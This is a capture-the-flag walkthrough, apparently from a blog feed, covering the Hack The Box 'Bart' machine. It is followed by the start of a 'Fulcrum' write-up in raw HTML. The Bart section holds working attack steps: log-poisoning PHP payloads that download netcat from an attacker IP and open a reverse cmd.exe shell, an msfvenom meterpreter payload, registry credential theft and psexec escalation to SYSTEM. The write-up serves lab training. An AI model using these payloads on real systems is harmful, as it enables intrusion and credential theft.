Nmap scan report for 10.10.10.81 Host is up (0.18s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.00 seconds We see that the only available service is the IIS web service running on port 80. We can also determine from the IIS 10 http header that this is likely a windows server 2016 or windows 10 system running under the hood. Enumeration Port 80 (forum.bart.htb (wordpress)) From our nmap scan we can that we are being redirected automatically to forum.bart.htb. Since htb doesn’t have global dns, we aren’t going to be able to resolve the site. We can add a dns entry in our /etc/hosts file to point 10.10.10.81 to both bart.htb and forum.bart.htb. Reference adding the /etc/hosts entry root@dastinia:~/htb/bart# echo &quot;10.10.10.81 forum.bart.htb&quot; &amp;gt;&amp;gt; /etc/hosts root@dastinia:~/htb/bart# echo &quot;10.10.10.81 bart.htb&quot; &amp;gt;&amp;gt; /etc/hosts Visiting forum.bart.htb in a browser brings us to a snazzy SPA Wordpress site. Attempting to access the Wordpress login page ends up with an error: &quot;The page cannot be displayed because an internal server error has occurred.&quot; This is strange because there’s not much else going on with the site. Likely is might be some sort of rabbit hole. Running gobuster on forum.bart.htb doesn't reveal anything extremely interesting. Thinking that maybe there is some hidden content with the site, we mirror the site with wget, and search for interesting content like emails, extra domain names, or hidden pages. We were able to discover a few potential emails/usernames but nothing that stood out blindly. We did notice that the bart developer Harvey Potter h.potter@bart.htb is the only member of the team not displayed on the main site, but who’s information is stored in a comment on the page. mirroring site locally root@dastinia:~/htb/bart/bart_wpsite# wget -r http://forum.bart.htb root@dastinia:~/htb/bart/bart_wpsite# grep -RiP &quot;bart&quot; forum.bart.htb/ forum.bart.htb/index.html:&amp;lt;title&amp;gt;BART&amp;lt;/title&amp;gt; forum.bart.htb/index.html:&amp;lt;link rel='stylesheet' id='sydney-ie9-css' href='http://forum.bart.htb/wp-content/themes/sydney/css/ie9.css?ver=4.8.2' type='text/css' media='all' /&amp;gt; forum.bart.htb/index.html: &amp;lt;h1 class=&quot;site-title&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; rel=&quot;home&quot;&amp;gt;BART&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt; forum.bart.htb/index.html: &amp;lt;div class=&quot;pos&quot;&amp;gt;CEO@BART&amp;lt;/div&amp;gt; forum.bart.htb/index.html: &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:s.brown@bart.local&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; forum.bart.htb/index.html: &amp;lt;div class=&quot;pos&quot;&amp;gt;CEO@BART&amp;lt;/div&amp;gt; forum.bart.htb/index.html: &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:d.simmons@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; forum.bart.htb/index.html: &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:r.hilton@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; forum.bart.htb/index.html: &amp;lt;div class=&quot;pos&quot;&amp;gt;Developer@BART&amp;lt;/div&amp;gt; forum.bart.htb/index.html: &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:h.potter@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; forum.bart.htb/index.html: ...[snip]... better grep or extract email addresses root@dastinia:~/htb/bart/bart_wpsite# grep -RiE -o &quot;\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b&quot; forum.bart.htb/index.html:s.brown@bart.local forum.bart.htb/index.html:d.simmons@bart.htb forum.bart.htb/index.html:r.hilton@bart.htb forum.bart.htb/index.html:h.potter@bart.htb forum.bart.htb/index.html:info@bart.htb forum.bart.htb/index.html:info@bart.htb Discovering Monitoring Portal with Wfuzz Taking a step back, and attempting to enumerate the root of the domain – bart.htb with gobuster you discover that the site seems to be returning some kind of content on every request.. gobuster on bart.htb root@dastinia:~/htb/bart# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/ -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_bart Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://bart.htb/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 204,301,302,307,403,200 [+] Extensions : .php,.html ===================================================== /index (Status: 200) /news (Status: 200) /crack (Status: 200) /download (Status: 200) /2006 (Status: 200) /images (Status: 200) /serial (Status: 200) /warez (Status: 200) /full (Status: 200) /12 (Status: 200) /contact (Status: 200) /about (Status: 200) /search (Status: 200) /spacer (Status: 200) /logo (Status: 200) /privacy (Status: 200) /11 (Status: 200) /new (Status: 200) /blog (Status: 200) /rss (Status: 200) /home (Status: 200) /faq (Status: 200) /cgi-bin (Status: 200) /10 (Status: 200) /archives (Status: 200) /products (Status: 200) /sitemap (Status: 200) /default (Status: 200) /img (Status: 200) /2005 (Status: 200) /1 (Status: 200) /09 (Status: 200) /links (Status: 200) /01 (Status: 200) /08 (Status: 200) /06 (Status: 200) /2 (Status: 200) /07 (Status: 200) /articles (Status: 200) /login (Status: 200) /keygen (Status: 200) /article (Status: 200) ...[snip]... Visiting the page in a browser you see that every page you attempt to go to returns the same error page. This technique is pretty common in modern web applications to return a page with the error instead of a standard 404 error message stating that something was wrong. This will render tools like gobuster, dirb or dirbuster basically useless to gather information since the results will be filled with false positives or will require additional post process filtering to figure out what’s actually real. To circumvent this we can use wfuzz as our directory brute forcer, and filter the results based on a character count baseline. As you can see below, the resulting error page wfuzz detects as having 158607 characters in the response. We can use this as our baseline and ignore all responses that have 158607 ch in them, which in turn would only show us pages that are different (unique content) with the --hh flag. root@dastinia:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=302 0 L 0 W 0 Ch &quot;# directory-list-2.3-medium.txt&quot; 000002: C=302 0 L 0 W 0 Ch &quot;#&quot; 000009: C=302 0 L 0 W 0 Ch &quot;# Suite 300, San Francisco, California, 94105, USA.&quot; 000003: C=302 0 L 0 W 0 Ch &quot;# Copyright 2007 James Fisher&quot; 000004: C=302 0 L 0 W 0 Ch &quot;#&quot; 000005: C=302 0 L 0 W 0 Ch &quot;# This work is licensed under the Creative Commons&quot; 000016: C=200 630 L 3775 W 158607 Ch &quot;images&quot; 000018: C=200 630 L 3775 W 158607 Ch &quot;2006&quot; 000017: C=200 630 L 3775 W 158607 Ch &quot;download&quot; 000026: C=200 630 L 3775 W 158607 Ch &quot;about&quot; 000021: C=200 630 L 3775 W 158607 Ch &quot;serial&quot; 000025: C=200 630 L 3775 W 158607 Ch &quot;contact&quot; 000027: C=200 630 L 3775 W 158607 Ch &quot;search&quot; 000028: C=200 630 L 3775 W 158607 Ch &quot;spacer&quot; 000022: C=200 630 L 3775 W 158607 Ch &quot;warez&quot; 000023: C=200 630 L 3775 W 158607 Ch &quot;full&quot; 000019: C=200 630 L 3775 W 158607 Ch &quot;news&quot; 000024: C=200 630 L 3775 W 158607 Ch &quot;12&quot; 000032: C=200 630 L 3775 W 158607 Ch &quot;blog&quot; 000029: C=200 630 L 3775 W 158607 Ch &quot;privacy&quot; 000034: C=200 630 L 3775 W 158607 Ch &quot;10&quot; 000073: C=200 630 L 3775 W 158607 Ch &quot;category&quot; 000031: C=200 630 L 3775 W 158607 Ch &quot;logo&quot; 000080: C=200 630 L 3775 W 158607 Ch &quot;media&quot; 000075: C=200 630 L 3775 W 158607 Ch &quot;content&quot; 000033: C=200 630 L 3775 W 158607 Ch &quot;new&quot; 000079: C=200 630 L 3775 W 158607 Ch &quot;press&quot; 000076: C=200 630 L 3775 W 158607 Ch &quot;14&quot; 000083: C=200 630 L 3775 W 158607 Ch &quot;icons&quot; 000081: C=200 630 L 3775 W 158607 Ch &quot;templates&quot; 000082: C=200 630 L 3775 W 158607 Ch &quot;services&quot; 000020: C=200 630 L 3775 W 158607 Ch &quot;crack&quot; 000030: C=200 630 L 3775 W 158607 Ch &quot;11&quot; 000035: C=200 630 L 3775 W 158607 Ch &quot;cgi-bin&quot; 000077: C=200 630 L 3775 W 158607 Ch &quot;main&quot; Using Wfuzz to hide the error page responses root@dastinia:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ --hh 158607 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000014: C=302 0 L 0 W 0 Ch &quot;&quot; 000067: C=200 548 L 2412 W 35529 Ch &quot;forum&quot; 001614: C=200 80 L 221 W 3423 Ch &quot;monitor&quot; 002385: C=200 548 L 2412 W 35529 Ch &quot;Forum&quot; 019837: C=200 80 L 221 W 3423 Ch &quot;Monitor&quot; From our results we can see that there’s content being served from the “forum” and “monitor” directories with the forum being forum.bart.htb monitor.bart.htb Visting monitor.bart.htb in our browser reveals the application “PHP Server Monitor v3.2.1”. After trying the usual hack the box username:password combininations with no luck we begin looking for another avenue to get into this application. PHP monitor has a password reset function, which only takes a username. When you attempt to do a password reset on a user that doesn’t exist you get the following error. With this knowledge we can attempt to enumerate usernames in a targeted manner using the information gathered from forum.bart.htb. I compiled a short list of possible user names from the site: potential usernames compiled from forum.bart.htb root@dastinia:~/htb/bart# cat names.txt s.brown@bart.local d.simmons@bart.htb r.hilton@bart.htb h.potter@bart.htb info@bart.htb s.brown d.simmons r.hilton h.potter info samantha brown daniel simmons robert hilton harvey potter We can use burpsuite intruder coupled with the simple list payload to perform this attack. This is how we can set up burpsuite intruder to perform our attack. From the results of our intruder attack we see that we have two valid usernames harvey and daniel. After some educated guessing you will discover a valid username:password combination of harvey:potter. When you attempt to authenticate you are redirected to monitor.bart.htb which fails to resolve similar to forums. We add monitor.bart.htb to our /etc/hosts file and attempt to reauthenticate with our newly found credentials. root@dastinia:~# echo &quot;10.10.10.81 monitor.bart.htb &quot; &amp;gt;&amp;gt; /etc/hosts After we re-authenticate we are greeted with the following page. Browsing around you see there is an entry for the “Internal Chat” service Viewing the details of “Internal Chat” reveals that there is another application on a different domain “internal-01.bart.htb” Exploitation Simple Chat Source Code Discovery &amp;amp; Account Registration Visting internal-01.bart.htb in our browser reveals the login page of bart’s internal “dev chat”. while running gobuster &amp;amp; sqlmap in the background if you did some googling on “simple chat” you will discover the following github repo https://github.com/magkopian/php-ajax-simple-chat. To validate that these two applications are the same, I inspected the css/chat_global.css file and sure enough it was the same application. Looking at the application’s code we see that’s there is registration functionality. The application doesn’t directly give you an option to register for an account, but it seems shoddily built so likely we can try manually crafting the request to register the account and hope nothing changed (we know the location and the parameters required to register an account from auditing the register.php source code). Sure enough, we are able to register an account with a username:password of medic:medicmedic on the internal dev chat by crafting our request just right. Getting RCE through LFI &amp;amp; Log Poisoning Clicking the log link will cause two alerts to appear that seemly do nothing. Inspecting the original application code, there are no references to a “log” functionality so this must be a 3rd party modification. After some fiddling &amp;amp; inspecting the request history in burp suite, you will see that the application will record the username &amp;amp; your user-agent in a log file as seen below. Since we can control what our user agent is we can use this to execute php code by visiting the log file page. GET //log/log.php?username=harvey&amp;amp;filename=log.php HTTP/1.1 Host: internal-01.bart.htb User-Agent: &amp;lt;?php exec('whoami'); ?&amp;gt; Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=4o03rnotk1l5b2ols3mkmqm8u9 Connection: close Upgrade-Insecure-Requests: 1 To speed this up I recommend having 2-3 repeater tabs open. One to input commands into, and one to visit the page to trigger the execution. We upload &amp;amp; execute a 64-bit netcat binary onto the machine (important for later) so we can get an interactive shell. I injected the following code into the user agent field. Make sure you remember to escape the \. &amp;lt;?php echo exec(&quot;powershell -command \&quot;(New-Object System.Net.WebClient).DownloadFile('http://10.10.15.171:7777/nc.exe','nc.exe')\&quot;&quot;); ?&amp;gt; &amp;lt;?php exec(&quot;nc.exe 10.10.15.171 6667 -e cmd.exe&quot;); ?&amp;gt; getting shell root@dastinia:~# ncat -lnvp 6667 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::6667 Ncat: Listening on 0.0.0.0:6667 Ncat: Connection from 10.10.10.81. Ncat: Connection from 10.10.10.81:49886. Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\inetpub\wwwroot\internal-01\log&amp;gt;dir Volume in drive C has no label. Volume Serial Number is F84E-9CF7 Directory of C:\inetpub\wwwroot\internal-01\log 12/07/2018 04:06 &amp;lt;DIR&amp;gt; . 12/07/2018 04:06 &amp;lt;DIR&amp;gt; .. 12/07/2018 04:00 101 log.ph 12/07/2018 04:05 2,643 log.php 12/07/2018 04:01 303 log.txt 21/02/2018 20:44 &amp;lt;DIR&amp;gt; Microsoft 12/07/2018 04:06 59,392 nc.exe 4 File(s) 62,439 bytes 3 Dir(s) 15,505,301,504 bytes free C:\inetpub\wwwroot\internal-01\log&amp;gt;whoami nt authority\iusr Privilege Escalation Poking around the system you will see that there’s not much going on. It’s a pretty recent build of windows, so that rules a lot of good chunk of kerel-based lpe exploits. Poking around the application folders you discover the password for the mysql database as seen below. You will realize that this was unhelpful information, after attempting to use this password against all the user accounts present on the box. C:\inetpub\wwwroot\internal-01\simple_chat\includes&amp;gt;type dbconnect.php ...[snip]... function db_connect() { $con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat'); if ($con === false) { return false; } mysqli_set_charset ($con , 'UTF-8'); return $con; } ?&amp;gt; Getting x64 meterpreter shell &amp;amp; impacket Lets generate a x64 bit meterpreter payload and make an smb share with impacket generate payload msfvenom root@dastinia:/opt/serve/windows/kk# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.171 LPORT=6969 -f exe &amp;gt; 6969.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes impacket-smb share root@dastinia:/opt/serve/windows# impacket-smbserver kk kk Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.10.81,49813) [*] AUTHENTICATE_MESSAGE (\,BART) [*] User \BART authenticated successfully [*] :::00::4141414141414141 [*] AUTHENTICATE_MESSAGE (\,BART) [*] User \BART authenticated successfully [*] :::00::4141414141414141 setting up multihandler msf &amp;gt; use exploit/multi/handler msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD =&amp;gt; windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) &amp;gt; set LHOST tun0 LHOST =&amp;gt; tun0 msf exploit(multi/handler) &amp;gt; set LPORT 6969 LPORT =&amp;gt; 6969 msf exploit(multi/handler) &amp;gt; set ExitonSession False ExitonSession =&amp;gt; false msf exploit(multi/handler) &amp;gt; run -j [*] Exploit running as background job 2. [*] Started reverse TCP handler on 10.10.15.171:6969 executting our payload from smb share &amp;amp; getting shell C:\inetpub\wwwroot\internal-01\log&amp;gt;\\10.10.15.171\kk\6969.exe session msf exploit(multi/handler) &amp;gt; [*] Sending stage (206403 bytes) to 10.10.10.81 [*] Meterpreter session 1 opened (10.10.15.171:6969 -&amp;gt; 10.10.10.81:51934) at 2018-07-14 11:44:39 -0400 Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\IUSR @ BART 10.10.15.171:6969 -&amp;gt; 10.10.10.81:51934 (10.10.10.81) The meterpreter shell will die after some time, as well as the AV on the system will delete your shell after you execute it from the SMB share. Recovering Administrator AutoLogon Credentials At this point I did a good chunk of manual enumeration on the system. After manually performing the standard windows priviledge escapation tectures you discover that there are credentials stored in the autologon runkey. Here are a few resources I felt are pretty decent at explaining the things you should look for local windows privilege escalation. Fuzzy Security - Windows Privilege Escalation Fundamentals, Pentestlab, and Daya Privilege Escalation For some reason I wasn’t getting the result I wanted when I performed this action with a regular shell. I’m going to investigate this tomorrow. It did work with powershell running the following command: Get-ItemProperty -path &quot;HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\&quot; Since we are already using Metasploit for this box there is a Metasploit post exploitation module called windows_autologin which will extract any autologon credentials from the registry. msf &amp;gt; use windows/gather/credentials/windows_autologin msf post(windows/gather/credentials/windows_autologin) &amp;gt; set SESSION 7 SESSION =&amp;gt; 7 msf post(windows/gather/credentials/windows_autologin) &amp;gt; run [*] Running against BART on session 7 [+] AutoAdminLogon=1, DefaultDomain=DESKTOP-7I3S68E, DefaultUser=Administrator, DefaultPassword=3130438f31186fbaf962f407711faddb [*] Post module execution completed Getting System with PTH/PSEXEC Now that we have the administrators credential getting system should be a snap. We can perform a Pass the Hash Attack with metasploit’s various psexec modules. We need to add a route to the system so that the module can access the smb port 445 listening locally on the box. This can be achieved with metasploit’s route add command. msf&amp;gt; use auxiliary/admin/smb/psexec_command msf auxiliary(admin/smb/psexec_command) &amp;gt; set SMBUser Administrator SMBUser =&amp;gt; Administrator msf auxiliary(admin/smb/psexec_command) &amp;gt; set SMBPass 3130438f31186fbaf962f407711faddb SMBPass =&amp;gt; 3130438f31186fbaf962f407711faddb msf auxiliary(admin/smb/psexec_command) &amp;gt; set COMMAND \\\\10.10.15.171\\\kk\\\6969.exe COMMAND =&amp;gt; \\10.10.15.171\kk\6969.exe msf auxiliary(admin/smb/psexec_command) &amp;gt; set RHOSTS 10.10.10.81 RHOSTS =&amp;gt; 10.10.10.81 msf auxiliary(admin/smb/psexec_command) &amp;gt; options Module options (auxiliary/admin/smb/psexec_command): Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND \\10.10.15.171\kk\6969.exe yes The command you want to execute on the remote host RHOSTS 10.10.10.81 yes The target address range or CIDR identifier RPORT 445 yes The Target port SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SMBDomain . no The Windows domain to use for authentication SMBPass 3130438f31186fbaf962f407711faddb no The password for the specified username SMBSHARE C$ yes The name of a writeable share on the server SMBUser Administrator no The username to authenticate as THREADS 1 yes The number of concurrent threads WINPATH WINDOWS yes The name of the remote Windows directory msf auxiliary(admin/smb/psexec_command) &amp;gt; route add 10.10.10.81/32 255.255.255.255 7 [*] Route added msf auxiliary(admin/smb/psexec_command) &amp;gt; run [+] 10.10.10.81:445 - Service start timed out, OK if running a command or non-service executable... [*] 10.10.10.81:445 - checking if the file is unlocked [*] 10.10.10.81:445 - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0) [-] 10.10.10.81:445 - Command seems to still be executing. Try increasing RETRY and DELAY [*] 10.10.10.81:445 - Getting the command output... [*] 10.10.10.81:445 - Command finished with no output [*] 10.10.10.81:445 - Executing cleanup... [+] 10.10.10.81:445 - Cleanup was successful [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(admin/smb/psexec_command) &amp;gt; [*] Sending stage (206403 bytes) to 10.10.10.81 [*] Meterpreter session 8 opened (10.10.15.171:6969 -&amp;gt; 10.10.10.81:49866) at 2018-07-14 01:15:57 -0400 msf auxiliary(admin/smb/psexec_command) &amp;gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 7 meterpreter x64/windows NT AUTHORITY\IUSR @ BART 10.10.15.171:6969 -&amp;gt; 10.10.10.81:49863 (10.10.10.81) 8 meterpreter x64/windows NT AUTHORITY\SYSTEM @ BART 10.10.15.171:6969 -&amp;gt; 10.10.10.81:49866 (10.10.10.81) msf auxiliary(admin/smb/psexec_command) &amp;gt; sessions -i 8 [*] Starting interaction with 8... meterpreter &amp;gt; sysinfo Computer : BART OS : Windows 10 (Build 15063). Architecture : x64 System Language : en_GB Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows meterpreter &amp;gt; getuid Server username: NT AUTHORITY\SYSTEM That’s all for now. I’m pretty busy with oscp &amp;amp; work so hopefully the next few boxes are machines I already have writeups completed for. I’ll also update this post on how to complete this box without metasploit after I get some sleep.</summary></entry><entry><title type="html">Hack the Box - Fulcrum Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/06/27/hackthebox-fulcrum-writeup/" rel="alternate" type="text/html" title="Hack the Box - Fulcrum Write up" /><published>2018-06-27T00:00:00-04:00</published><updated>2018-06-27T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/06/27/hackthebox-fulcrum-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/06/27/hackthebox-fulcrum-writeup/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/fulcrum/1.png&quot; alt=&quot;Fulcrum&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Wew this box had aaaaaaaaaalot of steps. Honestly, I feel like a lot of the difficultly perceived with this box came from the heavy need to use powershell. Nonetheless it definitely set the bar of being one of the more in-depth challenges because of all the steps required to reach the end goal. The pivoting was a very nice touch, and I wish there were more hack the box boxes that were architected in this manner with multiple machines or networks. I went a little bit more in-depth with the write-up, and included some fails, and rabbit-hole detection techniques.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/&quot;&gt;BurpSuite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;GoBuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/ncat/&quot;&gt;Ncat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Powershell&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.dest-unreach.org/socat/&quot;&gt;socat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1&quot;&gt;Nishang&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;
&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Like always lets begin with a nmap scan agaisn’t the fulcrum machine (10.10.10.62).
You need to run a full portscan to ensure you didn’t miss the service running on port &lt;em&gt;56423&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum# nmap -T4 -sV -sC -Pn -p- 10.10.10.62 -oA fulcrum_fullscan
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-10 15:16 EDT
Nmap scan report for 10.10.10.62
Host is up (0.16s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
4/tcp     open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:28:6e:d0:af:ab:46:de:c5:09:3d:76:ad:5a:44:e0 (RSA)
|   256 c1:5c:1d:ea:99:ec:e0:a1:dc:04:c5:5a:ad:50:36:f6 (ECDSA)
|_  256 a5:2f:44:e6:e3:10:cf:f7:db:15:d1:3f:49:21:3a:7b (ED25519)
80/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Input string was not in a correct format.
88/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: phpMyAdmin
9999/tcp  open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Login
56423/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (application/json;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 775.49 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;enumerating-port-4&quot;&gt;Enumerating Port 4&lt;/h3&gt;
&lt;p&gt;Visting the web service on port 4, displays an “Under Maintenance” Page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/9.png&quot; alt=&quot;&amp;quot;Under Maintenance&amp;quot;&quot; title=&quot;Under Maintenance&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Clicking to try again redirects you to &lt;code class=&quot;highlighter-rouge&quot;&gt;/index.php? page=home&lt;/code&gt;Looking at this we might be able to take advantage of a file include (or SSRF) type vulnerability just based on the &lt;code class=&quot;highlighter-rouge&quot;&gt;page&lt;/code&gt; parameter. @Jhaddix gave a great talk called &lt;a href=&quot;https://github.com/bugcrowd/HUNT/blob/master/slides/DEF%20CON%2025%20-%20HUNT.pdf&quot;&gt;“Hunt”&lt;/a&gt; at defcon, and to sum it up it’s an analysis of web vulnerabilities, and their most common parameters associated with those vulnerability.” I highly recommend reading/watching the video on the talk because it will help recognize potential vulnberbilites in web applications much quicker.&lt;/p&gt;

&lt;p&gt;Running gobuster against the site, reveals us some additional content to explore.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.62:4 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_4r_fulcrum_4

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.62:4/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 302,307,403,200,204,301
[+] Extensions   : .php,.html
=====================================================
/index.php (Status: 200)
/home.php (Status: 200)
/upload.php (Status: 200)
=====================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Going directly to &lt;code class=&quot;highlighter-rouge&quot;&gt;http: //10.10.10.62:4/home.php&lt;/code&gt; brings us to the fulcrum file upload page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/fulcrum/2.png&quot; alt=&quot;&amp;quot;Fulcrum File Upload&amp;quot;&quot; title=&quot;Fulcrum file upload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Attempting to upload anything using the file upload capability always end up with an error occurring, even while attempting to upload a regular unmodified image file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/fulcrum/3.png&quot; alt=&quot;&amp;quot;Upload Failed Error Page&amp;quot;&quot; title=&quot;Upload File Error Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are going to keep a note of this, because it will come in handy later.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-port-80&quot;&gt;Enumerating Port 80&lt;/h3&gt;

&lt;p&gt;I also ran gobuster in the background. For some reason it’s throwing (fake) IIS errors even though it was a ubuntu server using nginx. You could tell right off the back that this service was fake news, and was likely a rabbit hole so I didn’t spend any resources digging deeper.&lt;/p&gt;

